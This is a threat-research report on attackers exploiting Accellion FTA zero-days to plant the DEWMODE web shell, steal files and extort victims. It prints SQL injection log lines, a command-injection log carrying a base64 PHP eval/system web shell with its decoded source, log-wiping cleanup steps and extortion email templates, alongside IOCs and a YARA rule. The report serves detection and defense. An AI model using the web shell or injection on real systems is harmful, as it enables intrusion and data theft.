Cyber Criminals Exploit Accellion FTA for Data Theft and Extortion

fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html

Threat Research

Andrew Moore, Genevieve Stark, Isif Ibrahima, Van Ta, Kimberly Goody

Feb 22, 2021

12 mins read

Ransomware

Threat Research

Uncategorized Groups (UNC Groups)

Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion's legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the "CL0P^_- LEAKS" .onion website. Some of the published victim data appears to have been stolen using the DEWMODE web shell.

Notably, the number of victims on the "CL0P^_- LEAKS" shaming website has increased in February 2021 with organizations in the United States, Singapore, Canada, and the Netherlands recently outed by these threat actors. Mandiant has previously reported that FIN11 has threatened to post stolen victim data on this same .onion site as an additional tactic to pressure victims into paying extortion demands following the deployment of CLOP ransomware. However, in recent CLOP extortion incidents, no ransomware was deployed nor were the other hallmarks of FIN11 present.

We are currently tracking the exploitation of the zero-day Accellion FTA vulnerabilities and data theft from companies running the legacy FTA product as UNC2546, and the subsequent extortion activity as UNC2582. We have identified overlaps between UNC2582, UNC2546, and prior FIN11 operations, and we will continue to evaluate the relationships between these clusters of activity. For more information on our use of 'UNC' designations, see our blog post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

Mandiant has been working closely with Accellion in response to these matters and will be producing a complete security assessment report in the coming weeks. At this time, Accellion has patched all FTA vulnerabilities known to be exploited by the threat actors and has added new monitoring and alerting capabilities to flag anomalies associated with these attack vectors. Mandiant has validated these patches. Mandiant is currently performing penetration testing and code review of the current version of the Accellion FTA product and has not found any other critical vulnerabilities in the FTA product based on our analysis to date. Accellion customers using the FTA legacy product were the targets of the attack.

Accellion FTA is a 20-year-old product nearing end of life. Accellion strongly recommends that FTA customers migrate to kiteworks, Accellion's enterprise content firewall platform. Per Accellion, Kiteworks is built on an entirely different code base.

The following CVEs have since been reserved for tracking the recently patched Accellion FTA vulnerabilities:

- CVE-2021-27101 - SQL injection via a crafted Host header
- CVE-2021-27102 - OS command execution via a local web service call
- CVE-2021-27103 - SSRF via a crafted POST request
- CVE-2021-27104 - OS command execution via a crafted POST request

UNC2546 and DEWMODE

In mid-December 2020, Mandiant responded to multiple incidents in which a web shell we call DEWMODE was used to exfiltrate data from Accellion FTA devices. The Accellion FTA device is a purpose-built application designed to allow an enterprise to securely transfer large files. The exfiltration activity has affected entities in a wide range of sectors and countries.

Across these incidents, Mandiant observed common infrastructure usage and TTPs, including exploitation of FTA devices to deploy the DEWMODE web shell. Mandiant determined that a common threat actor we now track as UNC2546 was responsible for this activity. While complete details of the vulnerabilities leveraged to install DEWMODE are still being analyzed, evidence from multiple client investigations has shown multiple commonalities in UNC2546's activities.

Evidence of Exploitation and DEWMODE Installation

Mandiant has been able reconstruct many of the details about how Accellion FTAs have been compromised through examination of Apache and system logs from impacted devices—from initial compromise, to deployment of DEWMODE, and follow-on interaction.

The earliest identification of activity associated with this campaign occurred in mid-December 2020. At this time, Mandiant identified UNC2546 leveraging an SQL injection vulnerability in the Accellion FTA. This SQL injection served as the primary intrusion vector.

Mandiant observed evidence of SQL injection followed by subsequent requests to additional resources, as shown in Figure 1.

```
[.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html

['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html

[.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html

[<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php

[<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api

[<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api
```

Figure 1: SQL injection log

UNC2546 has leveraged this SQL injection vulnerability to retrieve a key which appears to be used in conjunction with a request to the file sftp_account_edit.php. Immediately after this request, the built-in Accellion utility admin.pl was executed, resulting in an eval web shell being written to oauth.api.

```
PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=F
--mount_cifs=-
V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm
FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd
XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD #
\" --passwd=pop
```

Figure 2: Excerpt from log showing creation of eval web shell

The decoded contents are shown in Figure 3.

```
<?php

if(isset($_REQUEST['token']))
{
    eval(base64_decode($_REQUEST['token']));
}
else if(isset($_REQUEST['username']))
{
    system($_REQUEST['username']);
}
else
{
    header('Location: /');
}
```

Figure 3: Decoded eval web shell

Almost immediately following this sequence, the DEWMODE web shell is written to the system. The timing of these requests suggests that DEWMODE was delivered via the oauth.api web shell; however, the available evidence does not indicate the exact mechanism used to write DEWMODE to disk.

Mandiant has identified the DEWMODE web shell in one of the following two locations:

- /home/seos/courier/about.html
- /home/httpd/html/about.html

The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA's web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.

Figure 4: DEWMODE web shell screenshot

```
GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2
ECDHE-RSA-AES128-SHA256
```

Figure 5: DEWMODE File Download URL parameters

Following file downloads, UNC2546 initiates a cleanup routine by passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE. The following actions are performed:

- A shell script is written to /tmp/.scr, which will:
  - Remove all references to about.html from log files located in /var/opt/apache/
  - Write the modified log file to /tmp/x then replace the original log file at /var/opt/apache/
  - Delete the contents of the /home/seos/log/adminpl.log log file.
  - Remove /home/seos/courier/about.html (DEWMODE) and /home/seos/courier/oauth.api (eval web shell), and redirect command output to the file /tmp/.out
  - Change the permissions of the output file to be readable, writeable and executable by all users, and set the owner to "nobody"

- Delete the script file /tmp/.scr and other temporarily created files to assist in cleanup
- Display cleanup output to the requesting user

An example of a cleanup request and subsequent execution of the cleanup script can be seen in Figure 6.

```
GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-"
"https://[REDACTED]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101

sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --
mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD
```

Figure 6: DEWMODE cleanup request

Mandiant also identified a variant of DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) which contained minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api from the directories /home/httpd/html/ instead of /home/seos/courier/.

In a subset of incidents, Mandiant observed UNC2546 requesting a file named cache.js.gz (Figure 7). Based on temporal file access to the mysqldump utility and mysql data directories, the archive likely contained a dump of the database. With the exception of cache.js.gz, Mandiant has not observed UNC2546 acquiring files from Accellion appliances through any method besides DEWMODE.

```
GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-
GCM-SHA256
```

Figure 7: cache.js.gz file request

UNC2582 Data Theft Extortion

Shortly after installation of the web shell, in multiple cases within hours, UNC2546 leveraged DEWMODE to download files from compromised FTA instances. While the actors' motivations were not immediately clear, several weeks after delivery of the DEWMODE web shell, victims began to receive extortion emails from an actor claiming association with the CLOP ransomware team (Figure 8 and Figure 9). The actors threatened to publish data on the "CL0P^_- LEAKS" .onion shaming website, unless the victim paid an extortion fee. We are tracking the subsequent extortion activity under a separate threat cluster, UNC2582. Despite tracking the exploitation and extortion activity in separate threat clusters we have observed at least one case where an actor interacted with a DEWMODE web shell from a host that was used to send UNC2582-attributed extortion email.

```
Hello!

Your network has been hacked, a lot of valuable data stolen. <description of stolen data, including the total size of the
compressed files> We are the CLOP ransomware team, you can google news and articles about us. We have a
website where we publish news and stolen files from companies that have refused to cooperate. Here is his address
http://[redacted].onion/ - use TOR browser or http://[redacted].onion.dog/ - mirror. We are visited by 20-30 thousand
journalists, IT experts, hackers and competitors every day. We suggest that you contact us via chat within 24 hours to
discuss the current situation. <victim-specific negotiation URL> - use TOR browser We don't want to hurt, our goal is
money. We are also ready to provide any evidence of the presence of files with us.
```

Figure 8: Extortion Note Template 1

This is the last warning!

If you don't get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site), send messages to all the emails that we received from your files. Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment.

Do not let this happen, write to us in chat or email and we will discuss the situation!

CHAT: <victim-specific negotiation URL>

EMAIL: unlock@support-box.com

USE TOR BROWSER!

Figure 9: Extortion Note Template 2

Based on observations at several engagements, UNC2582 appears to follow a pattern of escalation to pressure victims into paying extortion demands. Initial emails are sent from a free email account, likely unique per victim, to a seemingly limited distribution of addresses at the victim organization. If the victim does not respond in a timely manner, additional emails are sent to a much larger number of recipients from hundreds or thousands of different email accounts and using varied SMTP infrastructure. In at least one case, UNC2582 also sent emails to partners of the victim organization that included links to the stolen data and negotiation chat. Monitoring of the CL0P^_- LEAKS shaming website has demonstrated that UNC2582 has followed through on threats to publish stolen data as several new victims have appeared on the site in recent weeks, including at least one organization that has publicly confirmed that their Accellion FTA device had been recently targeted.

Key Overlaps With FIN11

UNC2582 (Extortion) and FIN11

Mandiant identified overlaps between UNC2582's data theft extortion activity and prior FIN11 operations, including common email senders and the use of the CL0P^_- LEAKS shaming site. While FIN11 is known for deploying CLOP ransomware, we have previously observed the group conduct data theft extortion without ransomware deployment, similar to these cases.

- Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020, including some of the last campaigns that were clearly attributable to the group.
- We have not observed FIN11 phishing activity in the new year. FIN11 has typically paused their phishing operations over the winter holidays and had several extended gaps in their operations. However, the timing of this current hiatus is also consistent with UNC2582's data theft extortion activity.
- UNC2582 extortion emails contained a link to the CL0P^_- LEAKS website and/or a victim specific negotiation page. The linked websites were the same ones used to support historical CLOP operations, a series of ransomware and data theft extortion campaigns we suspect can be exclusively attributed to FIN11.

UNC2546 (FTA Exploitation and DEWMODE) and FIN11

There are also limited overlaps between FIN11 and UNC2546.

- Many of the organizations compromised by UNC2546 were previously targeted by FIN11.
- An IP address that communicated with a DEWMODE web shell was in the "Fortunix Networks L.P." netblock, a network frequently used by FIN11 to host download and FRIENDSPEAK command and control (C2) domains.

Implications

The overlaps between FIN11, UNC2546, and UNC2582 are compelling, but we continue to track these clusters separately while we evaluate the nature of their relationships. One of the specific challenges is that the scope of the overlaps with FIN11 is limited to the later stages of the attack life cycle. UNC2546 uses a different infection vector and

foothold, and unlike FIN11, we have not observed the actors expanding their presence across impacted networks. We therefore have insufficient evidence to attribute the FTA exploitation, DEWMODE, or data theft extortion activity to FIN11. Using SQL injection to deploy DEWMODE or acquiring access to a DEWMODE shell from a separate threat actor would represent a significant shift in FIN11 TTPs, given the group has traditionally relied on phishing campaigns as its initial infection vector and we have not previously observed them use zero-day vulnerabilities.

Acknowledgements

David Wong, Brandon Walters, Stephen Eckels and Jon Erickson

Indicators of Compromise (IOCs)

DEWMODE Web Shells

MD5	SHA256
2798c0e836b907e8224520e7e6e4bb42	5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b
bdfd11b1b092b7c61ce5f02ffc5ad55a	2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

UNC2546 Source IP Addresses

The following source IP addresses were observed in multiple UNC2546 intrusions:

- 45.135.229.179
- 79.141.162.82
- 155.94.160.40
- 192.154.253.120
- 192.52.167.101
- 194.88.104.24

Detections

FireEye Detections

- FE_Webshell_PHP_DEWMODE_1
- FEC_Webshell_PHP_DEWMODE_1
- Webshell.PHP.DEWMODE

Mandiant Security Validation

- A101-515 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #1
- A101-516 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #2

DEWMODE YARA Rule

The following YARA rule is not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. This rule is intended to serve as a starting point for hunting efforts to identify DEWMODE payloads; however, it may need adjustment over time if the malware family changes.

```
rule DEWMODE_PHP_Webshell
{
    strings:
        $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\
[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/
        $s2 = "<th>file_id</th>"
        $s3 = "<th>path</th>"
        $s4 = "<th>file_name</th>"
        $s5 = "<th>uploaded_by</th>"
        $s6 = "target=\\\"_blank\\\">Download</a></td>"
        $s7 = "Content-Type: application/octet-stream"
        $s8 = "Content-disposition: attachment; filename="
    condition:
        all of them
}
```